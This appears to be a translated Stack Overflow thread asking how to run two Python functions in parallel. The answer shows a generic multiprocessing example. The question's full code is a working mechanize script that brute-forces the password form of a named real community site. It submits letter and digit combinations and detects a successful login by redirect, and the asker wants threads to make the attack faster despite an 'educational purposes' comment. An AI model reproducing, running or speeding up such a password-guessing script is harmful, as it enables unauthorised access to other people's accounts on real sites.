如何在Python中多线程函数?

时间:2016-04-09 09:57:02

标签: python multithreading

我在Python中创建了2个具有循环命令的函数。 为了使流程更快,我想多线程化它们。

例如:

def loop1():
    while 1 < 2:
        print "something"

def loop2():
    while 5 > 4:
        print "something1"  

我如何运行这两个,所以它可以像这样循环:

something
something1
something
something1

我试过这个:

import threading
from threading import Thread

def loop1():
    print "Something"

def loop2():
    print "Something1"

if __name__ == '__main__':
    Thread(target = loop1).start()
    Thread(target = loop2).start()

但是它给了我HTML错误并且刚开始运行loop1。

完整代码:

import mechanize 
import itertools
import string
import threading
from threading import Thread

br = mechanize.Browser() 
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)

response = br.open("http://arkhamnetwork.org/community/login/")

br.addheaders = [("User-agent","Mozilla/5.0")] 

def loop1():
    br.open("http://arkhamnetwork.org/community/login")
    start = 1
    end = 2
    for length in range(start, end+1):
        for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
            br.select_form(nr=4)  
            br.set_all_readonly(False)
            br.form['password'] = ''.join(c)
            print "test",br.form['password'] 
            br.method = "POST"
            response = br.submit()
            if response.geturl()=="http://arkhamnetwork.org/community/":
                print "test ",''.join(x)
                break

def loop2():
    br.open("http://arkhamnetwork.org/community/login")
    start1 = 2
    end1 = 3
    for length in range(start1, end1+1):
        for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
            br.select_form(nr=4)  
            br.set_all_readonly(False)
            br.form['password'] = ''.join(c)
            print "test",br.form['password'] 
            br.method = "POST"
            response = br.submit()
            if response.geturl()=="http://arkhamnetwork.org/community/":
                print "test",''.join(x)
                break

if __name__ == '__main__':
    Thread(target = loop1).start()
    Thread(target = loop2).start()  # NOTE: i'm not trying to attack anyone or any site with this, I'm just testing out code for educational purposes.

它给我的错误:

[test] Trying a
Exception in thread Thread-2:
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 810, in __bootstrap_inner
    self.run()
  File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 763, in run
    self.__target(*self.__args, **self.__kwargs)
  File "just.py", line 39, in loop2
    br.select_form(nr=4)
  File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 506, in select_form
    for form in self.forms():
  File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 418, in forms
    if not self.viewing_html():
  File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 443, in viewing_html
    raise BrowserStateError("not viewing any document")
BrowserStateError: not viewing any document

并且它保持循环1。

1 个答案:

答案 0 :(得分:1)

找到解决方案:

from multiprocessing import Process

def loop1():
    while 1 < 2:
        print "something"


def loop2():
    while 5 > 4:
        print "something1"  


if __name__=='__main__':
     p1 = Process(target = loop1)
     p1.start()
     p2 = Process(target = loop2)
     p2.start()

此代码将一起运行多个功能。不完全确定为什么线程版本不起作用,但我认为它是将函数转换为线程,而不是用于多线程。